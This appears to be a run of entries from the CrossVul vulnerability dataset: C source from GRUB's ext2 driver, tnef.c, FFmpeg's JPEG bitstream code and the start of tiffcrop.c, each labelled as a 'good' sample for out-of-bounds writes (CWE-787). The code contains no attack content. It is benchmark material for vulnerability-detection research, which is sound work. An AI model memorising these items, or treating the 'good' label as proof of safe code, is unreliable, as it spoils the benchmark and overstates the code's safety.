((grub_le_to_cpu16 (fdiro->inode.mode) & FILETYPE_INO_MASK) == FILETYPE_INO_REG) type = GRUB_FSHELP_REG; } if (hook (filename, type, fdiro, closure)) { free (filename); return 1; } free (filename); } fpos += grub_le_to_cpu16 (dirent.direntlen); } return 0; } /* Open a file named NAME and initialize FILE. */ static grub_err_t grub_ext2_open (struct grub_file *file, const char *name) { struct grub_ext2_data *data; struct grub_fshelp_node *fdiro = 0; grub_dl_ref (my_mod); data = grub_ext2_mount (file->device->disk); if (! data) goto fail; grub_fshelp_find_file (name, &data->diropen, &fdiro, grub_ext2_iterate_dir, 0, grub_ext2_read_symlink, GRUB_FSHELP_REG); if (grub_errno) goto fail; if (! fdiro->inode_read) { grub_ext2_read_inode (data, fdiro->ino, &fdiro->inode); if (grub_errno) goto fail; } grub_memcpy (data->inode, &fdiro->inode, sizeof (struct grub_ext2_inode)); grub_free (fdiro); file->size = grub_le_to_cpu32 (data->inode->size); file->data = data; file->offset = 0; return 0; fail: if (fdiro != &data->diropen) grub_free (fdiro); grub_free (data); grub_dl_unref (my_mod); return grub_errno; } static grub_err_t grub_ext2_close (grub_file_t file) { grub_free (file->data); grub_dl_unref (my_mod); return GRUB_ERR_NONE; } /* Read LEN bytes data from FILE into BUF. */ static grub_ssize_t grub_ext2_read (grub_file_t file, char *buf, grub_size_t len) { struct grub_ext2_data *data = (struct grub_ext2_data *) file->data; return grub_ext2_read_file (&data->diropen, file->read_hook, file->closure, file->flags, file->offset, len, buf); } struct grub_ext2_dir_closure { int (*hook) (const char *filename, const struct grub_dirhook_info *info, void *closure); void *closure; struct grub_ext2_data *data; }; static int iterate (const char *filename, enum grub_fshelp_filetype filetype, grub_fshelp_node_t node, void *closure) { struct grub_ext2_dir_closure *c = closure; struct grub_dirhook_info info; grub_memset (&info, 0, sizeof (info)); if (! node->inode_read) { grub_ext2_read_inode (c->data, node->ino, &node->inode); if (!grub_errno) node->inode_read = 1; grub_errno = GRUB_ERR_NONE; } if (node->inode_read) { info.mtimeset = 1; info.mtime = grub_le_to_cpu32 (node->inode.mtime); } info.dir = ((filetype & GRUB_FSHELP_TYPE_MASK) == GRUB_FSHELP_DIR); grub_free (node); return (c->hook != NULL)? c->hook (filename, &info, c->closure): 0; } static grub_err_t grub_ext2_dir (grub_device_t device, const char *path, int (*hook) (const char *filename, const struct grub_dirhook_info *info, void *closure), void *closure) { struct grub_ext2_data *data = 0; struct grub_fshelp_node *fdiro = 0; struct grub_ext2_dir_closure c; grub_dl_ref (my_mod); data = grub_ext2_mount (device->disk); if (! data) goto fail; grub_fshelp_find_file (path, &data->diropen, &fdiro, grub_ext2_iterate_dir, 0, grub_ext2_read_symlink, GRUB_FSHELP_DIR); if (grub_errno) goto fail; c.hook = hook; c.closure = closure; c.data = data; grub_ext2_iterate_dir (fdiro, iterate, &c); fail: if (fdiro != &data->diropen) grub_free (fdiro); grub_free (data); grub_dl_unref (my_mod); return grub_errno; } static grub_err_t grub_ext2_label (grub_device_t device, char **label) { struct grub_ext2_data *data; grub_disk_t disk = device->disk; grub_dl_ref (my_mod); data = grub_ext2_mount (disk); if (data) *label = grub_strndup (data->sblock.volume_name, 14); else *label = NULL; grub_dl_unref (my_mod); grub_free (data); return grub_errno; } static grub_err_t grub_ext2_uuid (grub_device_t device, char **uuid) { struct grub_ext2_data *data; grub_disk_t disk = device->disk; grub_dl_ref (my_mod); data = grub_ext2_mount (disk); if (data) { *uuid = grub_xasprintf ("%04x%04x-%04x-%04x-%04x-%04x%04x%04x", grub_be_to_cpu16 (data->sblock.uuid[0]), grub_be_to_cpu16 (data->sblock.uuid[1]), grub_be_to_cpu16 (data->sblock.uuid[2]), grub_be_to_cpu16 (data->sblock.uuid[3]), grub_be_to_cpu16 (data->sblock.uuid[4]), grub_be_to_cpu16 (data->sblock.uuid[5]), grub_be_to_cpu16 (data->sblock.uuid[6]), grub_be_to_cpu16 (data->sblock.uuid[7])); } else *uuid = NULL; grub_dl_unref (my_mod); grub_free (data); return grub_errno; } /* Get mtime. */ static grub_err_t grub_ext2_mtime (grub_device_t device, grub_int32_t *tm) { struct grub_ext2_data *data; grub_disk_t disk = device->disk; grub_dl_ref (my_mod); data = grub_ext2_mount (disk); if (!data) *tm = 0; else *tm = grub_le_to_cpu32 (data->sblock.utime); grub_dl_unref (my_mod); grub_free (data); return grub_errno; } struct grub_fs grub_ext2_fs = { .name = "ext2", .dir = grub_ext2_dir, .open = grub_ext2_open, .read = grub_ext2_read, .close = grub_ext2_close, .label = grub_ext2_label, .uuid = grub_ext2_uuid, .mtime = grub_ext2_mtime, #ifdef GRUB_UTIL .reserved_first_sector = 1, #endif .next = 0 };
./CrossVul/dataset_final_sorted/CWE-787/c/good_3411_2
crossvul-cpp_data_good_3172_1
/* * tnef.c -- extract files from microsoft TNEF format * * Copyright (C)1999-2006 Mark Simpson <damned@theworld.com> * Copyright (C)1997 Thomas Boll <tb@boll.ch> [ORIGINAL AUTHOR] * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, you can either send email to this * program's maintainer or write to: The Free Software Foundation, * Inc.; 59 Temple Place, Suite 330; Boston, MA 02111-1307, USA. * * Commentary: * scans tnef file and extracts all attachments * attachments are written to their original file-names if possible */ #ifdef HAVE_CONFIG_H #include "config.h" #endif /* HAVE_CONFIG_H */ #include "common.h" #include "tnef.h" #include "alloc.h" #include "attr.h" #include "debug.h" #include "file.h" #include "mapi_attr.h" #include "options.h" #include "path.h" #include "rtf.h" #include "util.h" typedef struct { VarLenData **text_body; VarLenData **html_bodies; VarLenData **rtf_bodies; } MessageBody; typedef enum { TEXT = 't', HTML = 'h', RTF = 'r' } MessageBodyTypes; /* Reads and decodes a object from the stream */ static Attr* read_object (FILE *in) { Attr *attr = NULL; /* peek to see if there is more to read from this stream */ int tmp_char = fgetc(in); if (tmp_char == -1) return NULL; ungetc(tmp_char, in); attr = attr_read (in); return attr; } static void free_bodies(VarLenData **bodies, int len) { while (len--) { XFREE(bodies[len]->data); XFREE(bodies[len]); } } static File** get_body_files (const char* filename, const char pref, const MessageBody* body) { File **files = NULL; VarLenData **data; char *ext = ""; char *type = "unknown"; int i; switch (pref) { case 'r': data = body->rtf_bodies; ext = ".rtf"; type = "text/rtf"; break; case 'h': data = body->html_bodies; ext = ".html"; type = "text/html"; break; case 't': data = body->text_body; ext = ".txt"; type = "text/plain"; break; default: data = NULL; break; } if (data) { int count = 0; char *tmp = CHECKED_XCALLOC(char, strlen(filename) + strlen(ext) + 1); strcpy (tmp, filename); strcat (tmp, ext); char *mime = CHECKED_XCALLOC(char, strlen(type) + 1); strcpy (mime, type); /* first get a count */ while (data[count++]); files = (File**)XCALLOC(File*, count + 1); for (i = 0; data[i]; i++) { files[i] = (File*)XCALLOC(File, 1); files[i]->name = tmp; files[i]->mime_type = mime; files[i]->len = data[i]->len; files[i]->data = CHECKED_XMALLOC(unsigned char, data[i]->len); memmove (files[i]->data, data[i]->data, data[i]->len); } } return files; } static VarLenData** get_text_data (Attr *attr) { VarLenData **body = XCALLOC(VarLenData*, 2); body[0] = XCALLOC(VarLenData, 1); body[0]->len = attr->len; body[0]->data = CHECKED_XCALLOC(unsigned char, attr->len); memmove (body[0]->data, attr->buf, attr->len); return body; } static VarLenData** get_html_data (MAPI_Attr *a) { VarLenData **body = XCALLOC(VarLenData*, a->num_values + 1); int j; for (j = 0; j < a->num_values; j++) { if (a->type == szMAPI_BINARY) { body[j] = XMALLOC(VarLenData, 1); body[j]->len = a->values[j].len; body[j]->data = CHECKED_XCALLOC(unsigned char, a->values[j].len); memmove (body[j]->data, a->values[j].data.buf, body[j]->len); } } return body; } int data_left (FILE* input_file) { int retval = 1; if (feof(input_file)) retval = 0; else if (input_file != stdin) { /* check if there is enough data left */ struct stat statbuf; size_t pos, data_left; fstat (fileno(input_file), &statbuf); pos = ftell(input_file); data_left = (statbuf.st_size - pos); if (data_left > 0 && data_left < MINIMUM_ATTR_LENGTH) { if ( CRUFT_SKIP ) { /* look for specific flavor of cruft -- trailing "\r\n" */ if ( data_left == 2 ) { int c = fgetc( input_file ); if ( c < 0 ) /* this should never happen */ { fprintf( stderr, "ERROR: confused beyond all redemption.\n" ); exit (1); } ungetc( c, input_file ); if ( c == 0x0d ) /* test for "\r" part of "\r\n" */ { /* "trust" that next char is 0x0a and ignore this cruft */ if ( VERBOSE_ON ) fprintf( stderr, "WARNING: garbage at end of file (ignored)\n" ); if ( DEBUG_ON ) debug_print( "!!garbage at end of file (ignored)\n" ); } else { fprintf( stderr, "ERROR: garbage at end of file.\n" ); } } else { fprintf (stderr, "ERROR: garbage at end of file.\n"); } } else { fprintf (stderr, "ERROR: garbage at end of file.\n"); } retval = 0; } } return retval; } /* The entry point into this module. This parses an entire TNEF file. */ int parse_file (FILE* input_file, char* directory, char *body_filename, char *body_pref, int flags) { uint32 d; uint16 key; Attr *attr = NULL; File *file = NULL; int rtf_size = 0, html_size = 0; MessageBody body; memset (&body, '\0', sizeof (MessageBody)); /* store the program options in our file global variables */ g_flags = flags; /* check that this is in fact a TNEF file */ d = geti32(input_file); if (d != TNEF_SIGNATURE) { fprintf (stdout, "Seems not to be a TNEF file\n"); return 1; } /* Get the key */ key = geti16(input_file); debug_print ("TNEF Key: %hx\n", key); /* The rest of the file is a series of 'messages' and 'attachments' */ while ( data_left( input_file ) ) { attr = read_object( input_file ); if ( attr == NULL ) break; /* This signals the beginning of a file */ if (attr->name == attATTACHRENDDATA) { if (file) { file_write (file, directory); file_free (file); } else { file = CHECKED_XCALLOC (File, 1); } } /* Add the data to our lists. */ switch (attr->lvl_type) { case LVL_MESSAGE: if (attr->name == attBODY) { body.text_body = get_text_data (attr); } else if (attr->name == attMAPIPROPS) { MAPI_Attr **mapi_attrs = mapi_attr_read (attr->len, attr->buf); if (mapi_attrs) { int i; for (i = 0; mapi_attrs[i]; i++) { MAPI_Attr *a = mapi_attrs[i]; if (a->type == szMAPI_BINARY && a->name == MAPI_BODY_HTML) { body.html_bodies = get_html_data (a); html_size = a->num_values; } else if (a->type == szMAPI_BINARY && a->name == MAPI_RTF_COMPRESSED) { body.rtf_bodies = get_rtf_data (a); rtf_size = a->num_values; } } /* cannot save attributes to file, since they * are not attachment attributes */ /* file_add_mapi_attrs (file, mapi_attrs); */ mapi_attr_free_list (mapi_attrs); XFREE (mapi_attrs); } } break; case LVL_ATTACHMENT: file_add_attr (file, attr); break; default: fprintf (stderr, "Invalid lvl type on attribute: %d\n", attr->lvl_type); return 1; break; } attr_free (attr); XFREE (attr); } if (file) { file_write (file, directory); file_free (file); XFREE (file); } /* Write the message body */ if (flags & SAVEBODY) { int i = 0; int all_flag = 0; if (strcmp (body_pref, "all") == 0) { all_flag = 1; body_pref = "rht"; } for (; i < 3; i++) { File **files = get_body_files (body_filename, body_pref[i], &body); if (files) { int j = 0; for (; files[j]; j++) { file_write(files[j], directory); file_free (files[j]); XFREE(files[j]); } XFREE(files); if (!all_flag) break; } } } if (body.text_body) { free_bodies(body.text_body, 1); XFREE(body.text_body); } if (rtf_size > 0) { free_bodies(body.rtf_bodies, rtf_size); XFREE(body.rtf_bodies); } if (html_size > 0) { free_bodies(body.html_bodies, html_size); XFREE(body.html_bodies); } return 0; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_3172_1
crossvul-cpp_data_good_3992_0
/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include "cbs.h" #include "cbs_internal.h" #include "cbs_jpeg.h" #define HEADER(name) do { \ ff_cbs_trace_header(ctx, name); \ } while (0) #define CHECK(call) do { \ err = (call); \ if (err < 0) \ return err; \ } while (0) #define SUBSCRIPTS(subs, ...) (subs > 0 ? ((int[subs + 1]){ subs, __VA_ARGS__ }) : NULL) #define u(width, name, range_min, range_max) \ xu(width, name, range_min, range_max, 0) #define us(width, name, sub, range_min, range_max) \ xu(width, name, range_min, range_max, 1, sub) #define READ #define READWRITE read #define RWContext GetBitContext #define FUNC(name) cbs_jpeg_read_ ## name #define xu(width, name, range_min, range_max, subs, ...) do { \ uint32_t value = range_min; \ CHECK(ff_cbs_read_unsigned(ctx, rw, width, #name, \ SUBSCRIPTS(subs, __VA_ARGS__), \ &value, range_min, range_max)); \ current->name = value; \ } while (0) #include "cbs_jpeg_syntax_template.c" #undef READ #undef READWRITE #undef RWContext #undef FUNC #undef xu #define WRITE #define READWRITE write #define RWContext PutBitContext #define FUNC(name) cbs_jpeg_write_ ## name #define xu(width, name, range_min, range_max, subs, ...) do { \ uint32_t value = current->name; \ CHECK(ff_cbs_write_unsigned(ctx, rw, width, #name, \ SUBSCRIPTS(subs, __VA_ARGS__), \ value, range_min, range_max)); \ } while (0) #include "cbs_jpeg_syntax_template.c" #undef READ #undef READWRITE #undef RWContext #undef FUNC #undef xu static void cbs_jpeg_free_application_data(void *unit, uint8_t *content) { JPEGRawApplicationData *ad = (JPEGRawApplicationData*)content; av_buffer_unref(&ad->Ap_ref); av_freep(&content); } static void cbs_jpeg_free_comment(void *unit, uint8_t *content) { JPEGRawComment *comment = (JPEGRawComment*)content; av_buffer_unref(&comment->Cm_ref); av_freep(&content); } static void cbs_jpeg_free_scan(void *unit, uint8_t *content) { JPEGRawScan *scan = (JPEGRawScan*)content; av_buffer_unref(&scan->data_ref); av_freep(&content); } static int cbs_jpeg_split_fragment(CodedBitstreamContext *ctx, CodedBitstreamFragment *frag, int header) { AVBufferRef *data_ref; uint8_t *data; size_t data_size; int unit, start, end, marker, next_start, next_marker; int err, i, j, length; if (frag->data_size < 4) { // Definitely too short to be meaningful. return AVERROR_INVALIDDATA; } for (i = 0; i + 1 < frag->data_size && frag->data[i] != 0xff; i++); if (i > 0) { av_log(ctx->log_ctx, AV_LOG_WARNING, "Discarding %d bytes at " "beginning of image.\n", i); } for (++i; i + 1 < frag->data_size && frag->data[i] == 0xff; i++); if (i + 1 >= frag->data_size && frag->data[i]) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: " "no SOI marker found.\n"); return AVERROR_INVALIDDATA; } marker = frag->data[i]; if (marker != JPEG_MARKER_SOI) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: first " "marker is %02x, should be SOI.\n", marker); return AVERROR_INVALIDDATA; } for (++i; i + 1 < frag->data_size && frag->data[i] == 0xff; i++); if (i + 1 >= frag->data_size) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: " "no image content found.\n"); return AVERROR_INVALIDDATA; } marker = frag->data[i]; start = i + 1; for (unit = 0;; unit++) { if (marker == JPEG_MARKER_EOI) { break; } else if (marker == JPEG_MARKER_SOS) { for (i = start; i + 1 < frag->data_size; i++) { if (frag->data[i] != 0xff) continue; end = i; for (++i; i + 1 < frag->data_size && frag->data[i] == 0xff; i++); if (i + 1 >= frag->data_size) { next_marker = -1; } else { if (frag->data[i] == 0x00) continue; next_marker = frag->data[i]; next_start = i + 1; } break; } } else { i = start; if (i + 2 > frag->data_size) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: " "truncated at %02x marker.\n", marker); return AVERROR_INVALIDDATA; } length = AV_RB16(frag->data + i); if (i + length > frag->data_size) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: " "truncated at %02x marker segment.\n", marker); return AVERROR_INVALIDDATA; } end = start + length; i = end; if (frag->data[i] != 0xff) { next_marker = -1; } else { for (++i; i + 1 < frag->data_size && frag->data[i] == 0xff; i++); if (i + 1 >= frag->data_size) { next_marker = -1; } else { next_marker = frag->data[i]; next_start = i + 1; } } } if (marker == JPEG_MARKER_SOS) { length = AV_RB16(frag->data + start); if (length > end - start) return AVERROR_INVALIDDATA; data_ref = NULL; data = av_malloc(end - start + AV_INPUT_BUFFER_PADDING_SIZE); if (!data) return AVERROR(ENOMEM); memcpy(data, frag->data + start, length); for (i = start + length, j = length; i < end; i++, j++) { if (frag->data[i] == 0xff) { while (frag->data[i] == 0xff) ++i; data[j] = 0xff; } else { data[j] = frag->data[i]; } } data_size = j; memset(data + data_size, 0, AV_INPUT_BUFFER_PADDING_SIZE); } else { data = frag->data + start; data_size = end - start; data_ref = frag->data_ref; } err = ff_cbs_insert_unit_data(ctx, frag, unit, marker, data, data_size, data_ref); if (err < 0) { if (!data_ref) av_freep(&data); return err; } if (next_marker == -1) break; marker = next_marker; start = next_start; } return 0; } static int cbs_jpeg_read_unit(CodedBitstreamContext *ctx, CodedBitstreamUnit *unit) { GetBitContext gbc; int err; err = init_get_bits(&gbc, unit->data, 8 * unit->data_size); if (err < 0) return err; if (unit->type >= JPEG_MARKER_SOF0 && unit->type <= JPEG_MARKER_SOF3) { err = ff_cbs_alloc_unit_content(ctx, unit, sizeof(JPEGRawFrameHeader), NULL); if (err < 0) return err; err = cbs_jpeg_read_frame_header(ctx, &gbc, unit->content); if (err < 0) return err; } else if (unit->type >= JPEG_MARKER_APPN && unit->type <= JPEG_MARKER_APPN + 15) { err = ff_cbs_alloc_unit_content(ctx, unit, sizeof(JPEGRawApplicationData), &cbs_jpeg_free_application_data); if (err < 0) return err; err = cbs_jpeg_read_application_data(ctx, &gbc, unit->content); if (err < 0) return err; } else if (unit->type == JPEG_MARKER_SOS) { JPEGRawScan *scan; int pos; err = ff_cbs_alloc_unit_content(ctx, unit, sizeof(JPEGRawScan), &cbs_jpeg_free_scan); if (err < 0) return err; scan = unit->content; err = cbs_jpeg_read_scan_header(ctx, &gbc, &scan->header); if (err < 0) return err; pos = get_bits_count(&gbc); av_assert0(pos % 8 == 0); if (pos > 0) { scan->data_size = unit->data_size - pos / 8; scan->data_ref = av_buffer_ref(unit->data_ref); if (!scan->data_ref) return AVERROR(ENOMEM); scan->data = unit->data + pos / 8; } } else { switch (unit->type) { #define SEGMENT(marker, type, func, free) \ case JPEG_MARKER_ ## marker: \ { \ err = ff_cbs_alloc_unit_content(ctx, unit, \ sizeof(type), free); \ if (err < 0) \ return err; \ err = cbs_jpeg_read_ ## func(ctx, &gbc, unit->content); \ if (err < 0) \ return err; \ } \ break SEGMENT(DQT, JPEGRawQuantisationTableSpecification, dqt, NULL); SEGMENT(DHT, JPEGRawHuffmanTableSpecification, dht, NULL); SEGMENT(COM, JPEGRawComment, comment, &cbs_jpeg_free_comment); #undef SEGMENT default: return AVERROR(ENOSYS); } } return 0; } static int cbs_jpeg_write_scan(CodedBitstreamContext *ctx, CodedBitstreamUnit *unit, PutBitContext *pbc) { JPEGRawScan *scan = unit->content; int i, err; err = cbs_jpeg_write_scan_header(ctx, pbc, &scan->header); if (err < 0) return err; if (scan->data) { if (scan->data_size * 8 > put_bits_left(pbc)) return AVERROR(ENOSPC); for (i = 0; i < scan->data_size; i++) put_bits(pbc, 8, scan->data[i]); } return 0; } static int cbs_jpeg_write_segment(CodedBitstreamContext *ctx, CodedBitstreamUnit *unit, PutBitContext *pbc) { int err; if (unit->type >= JPEG_MARKER_SOF0 && unit->type <= JPEG_MARKER_SOF3) { err = cbs_jpeg_write_frame_header(ctx, pbc, unit->content); } else if (unit->type >= JPEG_MARKER_APPN && unit->type <= JPEG_MARKER_APPN + 15) { err = cbs_jpeg_write_application_data(ctx, pbc, unit->content); } else { switch (unit->type) { #define SEGMENT(marker, func) \ case JPEG_MARKER_ ## marker: \ err = cbs_jpeg_write_ ## func(ctx, pbc, unit->content); \ break; SEGMENT(DQT, dqt); SEGMENT(DHT, dht); SEGMENT(COM, comment); default: return AVERROR_PATCHWELCOME; } } return err; } static int cbs_jpeg_write_unit(CodedBitstreamContext *ctx, CodedBitstreamUnit *unit) { CodedBitstreamJPEGContext *priv = ctx->priv_data; PutBitContext pbc; int err; if (!priv->write_buffer) { // Initial write buffer size is 1MB. priv->write_buffer_size = 1024 * 1024; reallocate_and_try_again: err = av_reallocp(&priv->write_buffer, priv->write_buffer_size); if (err < 0) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Unable to allocate a " "sufficiently large write buffer (last attempt " "%"SIZE_SPECIFIER" bytes).\n", priv->write_buffer_size); return err; } } init_put_bits(&pbc, priv->write_buffer, priv->write_buffer_size); if (unit->type == JPEG_MARKER_SOS) err = cbs_jpeg_write_scan(ctx, unit, &pbc); else err = cbs_jpeg_write_segment(ctx, unit, &pbc); if (err == AVERROR(ENOSPC)) { // Overflow. priv->write_buffer_size *= 2; goto reallocate_and_try_again; } if (err < 0) { // Write failed for some other reason. return err; } if (put_bits_count(&pbc) % 8) unit->data_bit_padding = 8 - put_bits_count(&pbc) % 8; else unit->data_bit_padding = 0; unit->data_size = (put_bits_count(&pbc) + 7) / 8; flush_put_bits(&pbc); err = ff_cbs_alloc_unit_data(ctx, unit, unit->data_size); if (err < 0) return err; memcpy(unit->data, priv->write_buffer, unit->data_size); return 0; } static int cbs_jpeg_assemble_fragment(CodedBitstreamContext *ctx, CodedBitstreamFragment *frag) { const CodedBitstreamUnit *unit; uint8_t *data; size_t size, dp, sp; int i; size = 4; // SOI + EOI. for (i = 0; i < frag->nb_units; i++) { unit = &frag->units[i]; size += 2 + unit->data_size; if (unit->type == JPEG_MARKER_SOS) { for (sp = 0; sp < unit->data_size; sp++) { if (unit->data[sp] == 0xff) ++size; } } } frag->data_ref = av_buffer_alloc(size + AV_INPUT_BUFFER_PADDING_SIZE); if (!frag->data_ref) return AVERROR(ENOMEM); data = frag->data_ref->data; dp = 0; data[dp++] = 0xff; data[dp++] = JPEG_MARKER_SOI; for (i = 0; i < frag->nb_units; i++) { unit = &frag->units[i]; data[dp++] = 0xff; data[dp++] = unit->type; if (unit->type != JPEG_MARKER_SOS) { memcpy(data + dp, unit->data, unit->data_size); dp += unit->data_size; } else { sp = AV_RB16(unit->data); av_assert0(sp <= unit->data_size); memcpy(data + dp, unit->data, sp); dp += sp; for (; sp < unit->data_size; sp++) { if (unit->data[sp] == 0xff) { data[dp++] = 0xff; data[dp++] = 0x00; } else { data[dp++] = unit->data[sp]; } } } } data[dp++] = 0xff; data[dp++] = JPEG_MARKER_EOI; av_assert0(dp == size); memset(data + size, 0, AV_INPUT_BUFFER_PADDING_SIZE); frag->data = data; frag->data_size = size; return 0; } static void cbs_jpeg_close(CodedBitstreamContext *ctx) { CodedBitstreamJPEGContext *priv = ctx->priv_data; av_freep(&priv->write_buffer); } const CodedBitstreamType ff_cbs_type_jpeg = { .codec_id = AV_CODEC_ID_MJPEG, .priv_data_size = sizeof(CodedBitstreamJPEGContext), .split_fragment = &cbs_jpeg_split_fragment, .read_unit = &cbs_jpeg_read_unit, .write_unit = &cbs_jpeg_write_unit, .assemble_fragment = &cbs_jpeg_assemble_fragment, .close = &cbs_jpeg_close, };
./CrossVul/dataset_final_sorted/CWE-787/c/good_3992_0
crossvul-cpp_data_good_5479_4
/* $Id$ */ /* tiffcrop.c -- a port of tiffcp.c extended to include manipulations of * the image data through additional options listed below * * Original code: * Copyright (c) 1988-1997 Sam Leffler * Copyright (c) 1991-1997 Silicon Graphics, Inc. * Additions (c) Richard Nolde 2006-2010 * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS OR ANY OTHER COPYRIGHT * HOLDERS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL * DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, * DATA OR PROFITS, WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND * ON ANY THEORY OF LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE * OR PERFORMANCE OF THIS SOFTWARE. * * Some portions of the current code are derived from tiffcp, primarly in * the areas of lowlevel reading and writing of TAGS, scanlines and tiles though * some of the original functions have been extended to support arbitrary bit * depths. These functions are presented at the top of this file. * * Add support for the options below to extract sections of image(s) * and to modify the whole image or selected portions of each image by * rotations, mirroring, and colorscale/colormap inversion of selected * types of TIFF images when appropriate. Some color model dependent * functions are restricted to bilevel or 8 bit per sample data. * See the man page for the full explanations. * * New Options: * -h Display the syntax guide. * -v Report the version and last build date for tiffcrop and libtiff. * -z x1,y1,x2,y2:x3,y3,x4,y4:..xN,yN,xN + 1, yN + 1 * Specify a series of coordinates to define rectangular * regions by the top left and lower right corners. * -e c|d|i|m|s export mode for images and selections from input images * combined All images and selections are written to a single file (default) * with multiple selections from one image combined into a single image * divided All images and selections are written to a single file * with each selection from one image written to a new image * image Each input image is written to a new file (numeric filename sequence) * with multiple selections from the image combined into one image * multiple Each input image is written to a new file (numeric filename sequence) * with each selection from the image written to a new image * separated Individual selections from each image are written to separate files * -U units [in, cm, px ] inches, centimeters or pixels * -H # Set horizontal resolution of output images to # * -V # Set vertical resolution of output images to # * -J # Horizontal margin of output page to # expressed in current * units when sectioning image into columns x rows * using the -S cols:rows option. * -K # Vertical margin of output page to # expressed in current * units when sectioning image into columns x rows * using the -S cols:rows option. * -X # Horizontal dimension of region to extract expressed in current * units * -Y # Vertical dimension of region to extract expressed in current * units * -O orient Orientation for output image, portrait, landscape, auto * -P page Page size for output image segments, eg letter, legal, tabloid, * etc. * -S cols:rows Divide the image into equal sized segments using cols across * and rows down * -E t|l|r|b Edge to use as origin * -m #,#,#,# Margins from edges for selection: top, left, bottom, right * (commas separated) * -Z #:#,#:# Zones of the image designated as zone X of Y, * eg 1:3 would be first of three equal portions measured * from reference edge * -N odd|even|#,#-#,#|last * Select sequences and/or ranges of images within file * to process. The words odd or even may be used to specify * all odd or even numbered images the word last may be used * in place of a number in the sequence to indicate the final * image in the file without knowing how many images there are. * -R # Rotate image or crop selection by 90,180,or 270 degrees * clockwise * -F h|v Flip (mirror) image or crop selection horizontally * or vertically * -I [black|white|data|both] * Invert color space, eg dark to light for bilevel and grayscale images * If argument is white or black, set the PHOTOMETRIC_INTERPRETATION * tag to MinIsBlack or MinIsWhite without altering the image data * If the argument is data or both, the image data are modified: * both inverts the data and the PHOTOMETRIC_INTERPRETATION tag, * data inverts the data but not the PHOTOMETRIC_INTERPRETATION tag * -D input:<filename1>,output:<filename2>,format:<raw|txt>,level:N,debug:N * Dump raw data for input and/or output images to individual files * in raw (binary) format or text (ASCII) representing binary data * as strings of 1s and 0s. The filename arguments are used as stems * from which individual files are created for each image. Text format * includes annotations for image parameters and scanline info. Level * selects which functions dump data, with higher numbers selecting * lower level, scanline level routines. Debug reports a limited set * of messages to monitor progess without enabling dump logs. */ static char tiffcrop_version_id[] = "2.4"; static char tiffcrop_rev_date[] = "12-13-2010"; #include "tif_config.h" #include "tiffiop.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> #include <ctype.h> #include <limits.h> #include <sys/stat.h> #include <assert.h> #ifdef HAVE_UNISTD_H # include <unistd.h> #endif #ifdef HAVE_STDINT_H # include <stdint.h> #endif #ifndef HAVE_GETOPT extern int getopt(int argc, char * const argv[], const char *optstring); #endif #ifdef NEED_LIBPORT # include "libport.h" #endif #include "tiffio.h" #if defined(VMS) # define unlink delete #endif #ifndef PATH_MAX #define PATH_MAX 1024 #endif #ifndef streq #define streq(a,b) (strcmp((a),(b)) == 0) #endif #define strneq(a,b,n) (strncmp((a),(b),(n)) == 0) #define TRUE 1 #define FALSE 0 #ifndef TIFFhowmany #define TIFFhowmany(x, y) ((((uint32)(x))+(((uint32)(y))-1))/((uint32)(y))) #define TIFFhowmany8(x) (((x)&0x07)?((uint32)(x)>>3)+1:(uint32)(x)>>3) #endif /* * Definitions and data structures required to support cropping and image * manipulations. */ #define EDGE_TOP 1 #define EDGE_LEFT 2 #define EDGE_BOTTOM 3 #define EDGE_RIGHT 4 #define EDGE_CENTER 5 #define MIRROR_HORIZ 1 #define MIRROR_VERT 2 #define MIRROR_BOTH 3 #define ROTATECW_90 8 #define ROTATECW_180 16 #define ROTATECW_270 32 #define ROTATE_ANY (ROTATECW_90 | ROTATECW_180 | ROTATECW_270) #define CROP_NONE 0 #define CROP_MARGINS 1 #define CROP_WIDTH 2 #define CROP_LENGTH 4 #define CROP_ZONES 8 #define CROP_REGIONS 16 #define CROP_ROTATE 32 #define CROP_MIRROR 64 #define CROP_INVERT 128 /* Modes for writing out images and selections */ #define ONE_FILE_COMPOSITE 0 /* One file, sections combined sections */ #define ONE_FILE_SEPARATED 1 /* One file, sections to new IFDs */ #define FILE_PER_IMAGE_COMPOSITE 2 /* One file per image, combined sections */ #define FILE_PER_IMAGE_SEPARATED 3 /* One file per input image */ #define 